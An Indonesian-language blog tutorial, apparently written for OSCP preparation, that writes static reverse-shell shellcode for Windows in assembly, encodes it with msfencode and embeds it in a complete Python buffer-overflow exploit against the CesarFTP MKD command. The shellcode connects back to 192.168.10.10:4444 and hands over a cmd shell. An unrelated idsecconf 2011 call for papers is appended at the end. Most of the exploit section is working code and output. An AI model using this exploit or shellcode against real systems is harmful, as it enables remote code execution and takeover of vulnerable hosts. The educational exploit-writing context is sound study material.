Shellcode-shellcode dinamis banyak kita temukan pada internet, dan resource paling umum adalah metasploit. Namun ada satu hal yang harus diperhatikan, implementasi ‘dynamic shellcode’ membutuhkan beragam fungsi seperti fungsi-fungsi untuk hashing, search function, load library, dsb. Dan tentunya ini akan menambah ukuran dari shellcode itu sendiri. Namun jika kita sudah tau persis targetnya seperti apa, maka dalam satu kali percobaan tentunya kita akan mendapatkan hasil yang sama apabila exploit tersebut sudah di uji coba sebelumnya pada mesin lain yang sama persis dengan target.

Situs projectshellcode memiliki resource yang sangat baik bagi pemula untuk belajar membuat shellcode, dan pada situs tersebut juga bisa kita temukan arwin.c yang merupakan implementasi sederhana untuk mencari lokasi memory suatu fungsi dari suatu DLL. Berikut ini contoh tampilannya,

C:\>arwin.exe Kernel32.dll CreateProcessA
arwin - win32 address resolution program - by steve hanna - v.01
CreateProcessA is located at 0x77e61bbc in Kernel32.dll

C:\>arwin.exe Kernel32.dll ExitProcess
arwin - win32 address resolution program - by steve hanna - v.01
ExitProcess is located at 0x77e798fd in Kernel32.dll

C:\>arwin.exe ws2_32.dll WSASocketA
arwin - win32 address resolution program - by steve hanna - v.01
WSASocketA is located at 0x71ab5a01 in ws2_32.dll

C:\>arwin.exe ws2_32.dll connect
arwin - win32 address resolution program - by steve hanna - v.01
connect is located at 0x71ab3e5d in ws2_32.dll

C:\>arwin.exe ws2_32.dll WSAStartup
arwin - win32 address resolution program - by steve hanna - v.01
WSAStartup is located at 0x71ab41da in ws2_32.dll

Dynamic shellcode akan berusaha memecahkan lokasi-lokasi memory untuk fungsi-fungsi diatas dengan berbagai metode, namun jika kita sudah mengetahui lokasi dari fungsi-fungsi tersebut ketika di load oleh windows maka kita dapat membuat static shellcode dengan mendefinisikan lokasi-lokasi memory diatas pada shellcode. Hal ini akan membuat ukuran shellcode jauh lebih kecil.

Sejauh yang saya tau, contoh-contoh shellcode dari projectshellcode sangat mudah untuk di ikuti. Berikut ini salah satu contoh shellcode yang mengambil contoh dari bindshell projectshellcode.com dengan melakukan modifikasi manual untuk disesuaikan dimana lokasi memory sudah kita ketahui.

;static_connectback.asm
[SECTION .text]

BITS 32

global _start

_start:

    jmp start_asm

; DEFINE FUNCTIONS
; Memory location of functions below is retrieved using arwin.exe

; LoadLibraryA: 0x77e7d961
; CreateProcessA: 0x77e61bbc
; ExitProcess: 0x77e798fd
; WSASocketA: 0x71ab5a01
; connect: 0x71ab3e5d
; WSAStartup: 0x71ab41da


start_asm:   ; start our main program


; create the string ws2_32 on the stack
xor eax, eax
mov ax, 0x3233
push eax
push dword 0x5f327377
mov ebx, esp            ;ebx now points to "ws2_32"

push ecx
push edx
push ebx
mov eax, 0x77e7d961     ;put location of LoadLibraryA into eax

call eax                ;call LoadLibraryA(ws2_32)


initialize_cmd:         ;push the string "cmd" onto the stack
    mov eax, 0x646d6301 ;64 = d, 6d = m, 63 = c, 01 = non-ascii char.
    sar eax, 0x08       ;Shift Arithmetic Right will shift 646d6301 to be 00646d63 (Null cmd). The point here is to create string (cmd) with
                        ;null at the end.
    push eax
    mov [ebp + 0x30], esp

WSAStartup:  ;initialise networking

    xor edx,edx  ;make some stack space
    xor eax, eax
    mov eax, 0x71ab41da ;put location of WSAStartup into eax

    mov dh, 0x03     ;sizeof(WSADATA) is 0x190
    sub esp, edx

    ;initialize winsock
    push esp     ;use stack for WSADATA
    push 0x02    ;wVersionRequested

    call eax     ;call WSAStartup

    add esp, 0x0300  ;move esp over WSAData

;SECTION: start custom shellcode

create_socket:
    xor eax, eax        ;zero eax
    push eax            ;Push the dwFlags argument to WSASocket as 0.
    push eax            ;Push the g argument to WSASocket as 0.
    push eax            ;Push the lpProtocolInfo argument to WSASocket as NULL.
    push eax            ;Push the protocol argument to WSASocket as 0.
    inc eax             ;Increment eax to 1.
    push eax            ;Push the type argument to WSASocket as SOCK STREAM.
    inc eax             ;Increment eax to 2.
    push eax            ;Push the af argument to WSASocket as AF INET.
    mov eax, 0x71ab5a01 ;WSASocketA
    call eax            ;Call WSASocket to allocate a socket for later use.
    mov esi, eax        ;Save the socket file descriptor in esi.

do_connect:
    ; 192.168.10.10
    push 0x0A0AA8C0     ;Push the address of the remote machine to connect to in network-byte order. In this case 192.168.10.10 is used.
    ; 4444 (dec) = 115C (hex)
    mov eax, 0x5c110102 ;Set the high order bytes of eax to the port to connect to in networkbyte order (4444).
                        ; The low order bytes should be set to the family, in this case AF INET3.
    dec ah              ;Decrement the second byte of eax to get it to zero and have the family be correctly set to AF INET.
    push eax            ;Push the sin port and sin family attributes.
    mov ebx, esp        ;Set ebx to the pointer to the struct sockaddr in that has been initialized on the stack.
    xor eax, eax        ;Zero eax.
    mov al, 0x10        ;Set the low order byte of eax to 16 to represent the size of the struct sockaddr in.
    push eax            ;Push the namelen argument which has been set to 16.
    push ebx            ;Push the name argument which has been set to the initialized struct sockaddr in on the stack.
    push esi            ;Push the s argument as the file descriptor that was previously returned from WSASocket.
    mov eax, 0x71ab3e5d ; connect

    call eax    ;Call connect to establish a TCP connection to the remote machine on the specified port.


initialize_process:
    xor ecx, ecx        ;Zero ecx.
    mov cl, 0x54        ;Set the low order byte of ecx to 0x54 which will be used to represent the size of the STARTUPINFO and PROCESS INFORMATION structures on the stack.
    sub esp, ecx        ;Allocate stack space for the two structures.
    mov edi, esp        ;Set edi to point to the STARTUPINFO structure.
    push edi            ;Preserve edi on the stack as it will be modified by the following instructions.
zero_structs:
    xor eax, eax        ;Zero eax to for use with stosb to zero out the two structures.
    rep stosb           ;Repeat storing zero at the buffer starting at edi until ecx is zero.
    pop edi             ;Restore edi to its original value.
initialize_structs:
    mov byte[edi], 0x44 ;Set the cb attribute of STARTUPINFO to 0x44 (the size of the structure).
    inc byte[edi + 0x2d];Set the STARTF USESTDHANDLES flag to indicate that the hStdInput, hStdOutput, and hStdError attributes
                        ;should be used.
    push edi            ;Preserve edi again as it will be modified by the stosd.
    mov eax, esi        ;Set eax to the client file descriptor that was returned by accept
    lea edi, [edi + 0x38]   ;Load the effective address of the hStdInput attribute in the STARTUPINFO structure.
    stosd               ;Set the hStdInput attribute to the file descriptor returned from accept.
    stosd               ;Set the hStdOutput attribute to the file descriptor returned from accept.
    stosd               ;Set the hStdError attribute to the file descriptor returned from accept.
    pop edi             ;Restore edi to its original value.

execute_process:
    xor eax, eax        ;Zero eax for use with passing zerod arguments.
    lea esi, [edi + 0x44]   ;Load the effective address of the PROCESS INFORMATION structure into esi.
    push esi            ;Push the pointer to the lpProcessInformation structure.
    push edi            ;Push the pointer to the lpStartupInfo structure.
    push eax            ;Push the lpStartupDirectory argument as NULL.
    push eax            ;Push the lpEnvironment argument as NULL
    push eax            ;Push the dwCreationFlags argument as 0.
    inc eax             ;Increment eax to 1.
    push eax            ;Push the bInheritHandles argument as TRUE due to the fact that the client
                        ;needs to inherit the socket file descriptor.
    dec eax             ;Decrement eax back to zero.
    push eax            ;Push the lpThreadAttributes argument as NULL.
    push eax            ;Push the lpProcessAttributes argument as NULL.
    push dword [ebp + 0x30] ;Push the lpCommandLine argument as the pointer to cmd.
    push eax            ;Push the lpApplicationName argument as NULL.
    mov eax, 0x77e61bbc ;CreateProcessA
    call eax            ;Call CreateProcessA to created the child process that has its input and output
                        ;redirected from and to the remote machine via the TCP connection.

exit_process:
    mov eax, 0x77e798fd ;ExitProcess somehow is not needed as after the bug triggered, cesarftp will need to be restarted
    call eax        ;Call ExitProcess as the parent no longer needs to execute

Selanjutnya adalah membuat binary dari kode-kode assembly diatas,

$ nasm -f bin -o static_connectback.bin static_connectback.asm
$ file static_connectback.bin
static_connectback.bin: DOS executable (COM)

Dengan menggunakan script xxd-shellcode.sh yang juga bisa dilihat dari projectshellcode.com, kita bisa meng-extract bentuk shellcode yang diinginkan,

$ ./xxd-shellcode.sh static_connectback.bin
\xe9\x00\x00\x00\x00\x31\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x89\xe3\x51\x52\x53\xb8\x61\xd9\xe7\x77\xff\xd0\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x31\xd2\x31\xc0\xb8\xda\x41\xab\x71\xb6\x03\x29\xd4\x54\x68\x02\x00\x00\x00\xff\xd0\x81\xc4\x00\x03\x00\x00\x31\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xb8\x01\x5a\xab\x71\xff\xd0\x89\xc6\x68\xc0\xa8\x0a\x0a\xb8\x02\x01\x11\x5c\xfe\xcc\x50\x89\xe3\x31\xc0\xb0\x10\x50\x53\x56\xb8\x5d\x3e\xab\x71\xff\xd0\x31\xc9\xb1\x54\x29\xcc\x89\xe7\x57\x31\xc0\xf3\xaa\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x89\xf0\x8d\x7f\x38\xab\xab\xab\x5f\x31\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x30\x50\xb8\xbc\x1b\xe6\x77\xff\xd0\xb8\xfd\x98\xe7\x77\xff\xd0

Yang harus diperhatikan disini adalah 5 bytes awal dari shellcode diatas tidak dibutuhkan. Shellcode diatas dibuat menggunakan assembly biasa, dan di peruntukan agar bisa di eksekusi sebagai file binary sehingga ada beberapa byte yang merupakan tambahan dari assembler (dalam hal ini nasm). Hal ini sangat penting karena apabila kita memasukan shellcode diatas langsung untuk eksploitasi target maka akan terjadi mangled (byte-byte berubah) ketika dieksekusi oleh target. Hal lain yang harus diperhatikan adalah masih terdapat NULL pada shellcode diatas yang merupakan badchars dan juga beberapa karakter yang akan membuat cesarftp crash apabila menemukan karakter-karakter tersebut (lihat tulisan sebelumnya). Sehingga kita harus melakukan encoding pada shellcode diatas sebelum digunakan pada eksploit.

Sebelum di encode, maka kita harus memastikan binary shellcode sudah terbebas dari 5 bytes awal yang merupakan tambahan dari nasm. Untuk itu kita bisa menggunakan hex-editor. Berhubung saya menggunakan Mac OSX, maka 0xED yang akan digunakan sebagai hex-editor.

Setelah menghapus bytes-bytes awal tersebut, selanjutnya adalah melakukan encoding seperti biasa.

$ cat static_connectback.bin | ./msfencode -e x86/shikata_ga_nai -b "\x00\x20\x0a\x0d" -t c
[*] x86/shikata_ga_nai succeeded with size 201 (iteration=1)

unsigned char buf[] =
"\xb8\xb9\xf3\x98\x1c\xd9\xc7\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x2c\x31\x42\x14\x83\xc2\x04\x03\x42\x10\x5b\x06\xa9\xdc\xfd"
"\x51\xf9\xee\x51\xca\x89\x7d\x63\x55\xff\x61\xd2\x3b\xac\xdd"
"\xb5\x62\xb5\x69\xca\x45\x82\x97\x57\x0b\x97\x56\x6f\xdb\x07"
"\xd0\xea\xec\x96\x30\xc5\xcc\x61\x6e\x64\x66\xe0\x39\x65\x51"
"\xd7\x12\x01\xa3\xd7\x9a\xd1\x5c\x07\x1b\x15\xa2\xab\x1c\x95"
"\x92\x6b\x4c\xc5\x84\x3b\x2d\xb5\x64\xec\x15\x34\x3f\xa7\x17"
"\xc9\x6f\x3e\x11\x5d\x50\xe9\x94\x97\xe8\xe8\xa9\xb6\x54\x13"
"\x65\xe8\xed\x08\x47\xc8\x5e\xde\xf8\x9b\xc8\x67\xa5\x25\x5e"
"\xe6\xa9\x89\x91\xc0\xe7\x7d\xfb\x1e\x8e\x9a\xac\xaf\x51\x97"
"\xf9\x8f\x97\x50\xba\xd1\x5f\x73\x15\xa7\x90\x06\xe6\x8f\xfb"
"\xb3\xb2\xaf\xca\x03\x49\x38\x69\xd5\x05\x97\x21\x89\xe9\x47"
"\x8a\x79\xba\x98\x7f\x49\x6a\xdf\x3c\xb2\x6c\x68\xc2\x14\xc8"
"\x6a\xa4\x73\x5e\x6a\x05";

Static shellcode untuk reverse shell ini setelah di encode pun hanya memiliki ukuran 201 bytes, lebih kecil daripada implementasi shellcode dinamis. Shellcode static diatas bisa saja dibuat lebih kecil dan lebih efisien, tapi untuk saat ini shellcode sederhana diatas sudah dapat menjalankan fungsinya karena ukuran shellcode lebih kecil dari ukuran payload yang dapat diterima oleh cesarftp ( < 250 bytes).

Berikut ini bentuk akhir exploit dengan reverse shellcode,

from socket import *
import struct

host = "192.168.10.11"
port = 21
user = "ftp"
password = "ftp"

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send("user %s\r\n" % (user))
print s.recv(1024)
s.send("pass %s\r\n" % (password))
print s.recv(1024)

eip = struct.pack('<i', 0x77E9AE59) # call esp from kernel32.dll
command = "MKD "
newline = "\n"
omg = "OMG"
break_code = "\xCC\xCC\xCC\xCC"
enter = "\r\n"
nop = "\x90"
junk = "A"


shellcode= (
# cat static_connectback.bin | ./msfencode -e x86/shikata_ga_nai -b "\x00\x20\x0a\x0d" -t c
# [*] x86/shikata_ga_nai succeeded with size 201 (iteration=1)

# connect back shellcode to 192.168.10.10 port 4444
"\xb8\xb9\xf3\x98\x1c\xd9\xc7\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x2c\x31\x42\x14\x83\xc2\x04\x03\x42\x10\x5b\x06\xa9\xdc\xfd"
"\x51\xf9\xee\x51\xca\x89\x7d\x63\x55\xff\x61\xd2\x3b\xac\xdd"
"\xb5\x62\xb5\x69\xca\x45\x82\x97\x57\x0b\x97\x56\x6f\xdb\x07"
"\xd0\xea\xec\x96\x30\xc5\xcc\x61\x6e\x64\x66\xe0\x39\x65\x51"
"\xd7\x12\x01\xa3\xd7\x9a\xd1\x5c\x07\x1b\x15\xa2\xab\x1c\x95"
"\x92\x6b\x4c\xc5\x84\x3b\x2d\xb5\x64\xec\x15\x34\x3f\xa7\x17"
"\xc9\x6f\x3e\x11\x5d\x50\xe9\x94\x97\xe8\xe8\xa9\xb6\x54\x13"
"\x65\xe8\xed\x08\x47\xc8\x5e\xde\xf8\x9b\xc8\x67\xa5\x25\x5e"
"\xe6\xa9\x89\x91\xc0\xe7\x7d\xfb\x1e\x8e\x9a\xac\xaf\x51\x97"
"\xf9\x8f\x97\x50\xba\xd1\x5f\x73\x15\xa7\x90\x06\xe6\x8f\xfb"
"\xb3\xb2\xaf\xca\x03\x49\x38\x69\xd5\x05\x97\x21\x89\xe9\x47"
"\x8a\x79\xba\x98\x7f\x49\x6a\xdf\x3c\xb2\x6c\x68\xc2\x14\xc8"
"\x6a\xa4\x73\x5e\x6a\x05")



buffer = command + (newline * 671) + omg + eip + (nop * 10) + shellcode + (junk * 100)  + enter

print "Lenght of buffer: %d" % (len(buffer))

s.send(buffer)
print s.recv(1024)
s.close()

Dan jika kita sudah set nc untuk listen pada ip 192.168.10.10 dan port 4444, voila….we’ll got a shell.

Oh, jika ada yang mau ambil ujian OSCP dan kebetulan mendapatkan challenge yang sama maka informasi ini mungkin masih bisa digunakan. Namun jika mendapatkan challenge lain untuk eksploitasi karena pembahasan bug serta metode eksploitasinya sudah dilakukan disini dan tim offensive security memutuskan challange jenis lain (at least untuk calon yang dari indonesia ;) ), well, congratulation, itu berarti anda akan mendapatkan challenge lain yang lebih menarik untuk dieksplorasi dan dipelajari.

Good luck!

idsecconf 2011 Palembang — Call of paper

Posted: 14th March 2011 by mrs in News

Kami dari komite idsecconf 2011 Palembang memberi kesempatan pada rekan-rekan
penggiat keamanan komputer di seluruh Indonesia untuk berpartisipasi
lewat penyerahan paper. Topik yang kami cari adalah yang berkaitan
dengan:

- Web hacking
- Wireless hacking
- Metode Penetration testing
- Forensic dan Anti Forensic
- Kriptografi
- Fuzzing
- Exploit writing
- System hardening
- Lock Picking
- Open Hardware Implementation
- Mobile Security

Jika anda memiliki judul paper diluar cakupan topik diatas, kami masih
terbuka untuk mempertimbangkannya selama masih berkaitan dengan security.

Paper disarankan dibuat dengan program Open Office Writer dengan ukuran
halaman “Letter”. Gambar bisa langsung disisipkan ke dalam dokumen atau
dibuat terpisah. Tulisan dibuat tanpa dipilah-pilah menjadi 2 kolom atau
lebih (layaknya format koran atau majalah)

Format gambar adalah PNG dengan ukuran dimensi maksimal (lebar x tinggi )
640 x 480 pixel dengan resolusi 72 pixel per inch. Jika nama file dipisahkan,
mohon nama file dirujuk dari naskah. Setiap gambar harap disertai keterangan
secukupnya. Dokumen harap dikonversi menjadi PDF dengan tingkat resolusi
paling maksimal. Ini dilakukan agar kami mudah mereview di platform apapun.

Pengiriman naskah ditujukan ke e-mail address: submit[eT]idsecconf.org paling
lambat 28 Juni 2011. Pengumuman paper yang lolos untuk presentasi
on stage akan diumumkan tanggal 1 Juli 2011.

Keputusan penerimaan atau penolakan paper adalah sepenuhnya wewenang
komite idsecconf 2011 dan tidak bisa diganggu gugat. Bagi yang papernya
diterima, akan menerima pemberitahuan tertulis lewat e-mail untuk
persiapan presentasi on-stage pada acara idsecconf 2011.

Berhubung pelaksaan yang dilakukan di luar Jawa, kami mempertimbangkan
untuk memberikan sejumlah dana untuk bantuan akomodasi (biaya perjalanan
dan penginapan serta konsumsi). Kepastian besarnya dana ini akan kami
umumkan kemudian bagi yang papernya dinyatakan lolos.

Kami tunggu partisipasi anda semuanya!

salam,

komite idsecconf 2011

http://2011.idsecconf.org/p/call-for-paper.html